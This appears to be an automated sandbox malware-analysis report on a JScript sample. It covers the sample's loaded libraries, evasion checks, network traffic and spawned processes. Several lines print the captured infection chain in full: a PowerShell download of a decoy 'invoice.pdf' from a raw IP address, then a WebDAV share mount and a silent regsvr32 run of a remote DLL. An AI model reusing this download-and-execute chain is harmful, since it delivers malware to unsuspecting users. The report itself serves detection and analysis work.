Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8288.js.csv");ITextStream.WriteLine(" entry:8215 f:mfiygszjx");ITextStream.WriteLine(" exec:2 f:mfiygszjx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4397			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5451			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep count: 4397 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep count: 5451 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5876	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5876	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1407685811.00000226DD40D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2614554186.000002939B257000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1407685811.00000226DD3A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 00000009.00000002.2613317201.0000029395C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

